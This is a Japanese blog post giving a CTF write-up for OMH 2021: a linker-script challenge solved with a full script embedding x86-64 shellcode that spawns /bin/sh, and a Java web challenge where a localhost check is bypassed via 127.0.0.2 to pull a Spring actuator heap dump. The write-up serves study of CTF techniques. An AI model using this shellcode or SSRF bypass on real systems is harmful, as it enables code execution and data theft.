st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

OMH 2021 CTF writeup

5/15 - 5/16という日程で開催された。zer0ptsで参加して5位。

[Misc] Linker Chess

以下のように、hello.c は編集できないけどリンカースクリプトは編集できるのでなんとかしてシェルを起動させろという問題。

#!/bin/sh
set -ev
sed '/^EOF/Q' > script.ld
cat > hello.c << EOF
#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("Hello, world!\n");
    exit(0);
}
EOF

gcc -c hello.c -o hello.o
ld -T script.ld hello.o -o hello /usr/lib/x86_64-linux-gnu/libc.so -dynamic-linker /lib64/ld-linux-x86-64.so.2
./hello

実は既出ネタ。Hello, world!の代わりにシェルコードを仕込もう。

OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(main)

SECTIONS
{
  . = 0x400000;
  .text : {
    main = .;
    BYTE(0x6a);BYTE(0x68);BYTE(0x48);BYTE(0xb8);BYTE(0x2f);BYTE(0x62);BYTE(0x69);BYTE(0x6e);BYTE(0x2f);BYTE(0x2f);BYTE(0x2f);BYTE(0x73);BYTE(0x50);BYTE(0x48);BYTE(0x89);BYTE(0xe7);BYTE(0x68);BYTE(0x72);BYTE(0x69);BYTE(0x1);BYTE(0x1);BYTE(0x81);BYTE(0x34);BYTE(0x24);BYTE(0x1);BYTE(0x1);BYTE(0x1);BYTE(0x1);BYTE(0x31);BYTE(0xf6);BYTE(0x56);BYTE(0x6a);BYTE(0x8);BYTE(0x5e);BYTE(0x48);BYTE(0x1);BYTE(0xe6);BYTE(0x56);BYTE(0x48);BYTE(0x89);BYTE(0xe6);BYTE(0x31);BYTE(0xd2);BYTE(0x6a);BYTE(0x3b);BYTE(0x58);BYTE(0xf);BYTE(0x5);
  }
}

[Web, Crypto] Hotlinker

ジャバ。jarJava Decompilerに投げてやるとデコンパイルできる。BOOT-INF/classes/ctf/tfns/hotlinker/webui/upload/UploadService.java を見るとどうやらURLのホスト名部分が localhost でないか確認しているようだが、127.0.0.2 とかでバイパスできる。

/*     */   private boolean notLocalhost(URL hostPart) throws MalformedURLException {
/*  83 */     return !hostPart.equals(new URL(hostPart.getProtocol() + "://localhost"));
/*     */   }

http://127.0.0.2:18080/actuator/heapdump から暗号化されたフラグを含むヒープダンプが得られる。これはEclipseのMemory Analyzerで解析できる。フラグはLCGを使って暗号化されていて、関連するパラメータもヒープダンプに含まれている。ふるつきさんに投げると一瞬でフラグが返ってきた。すごい。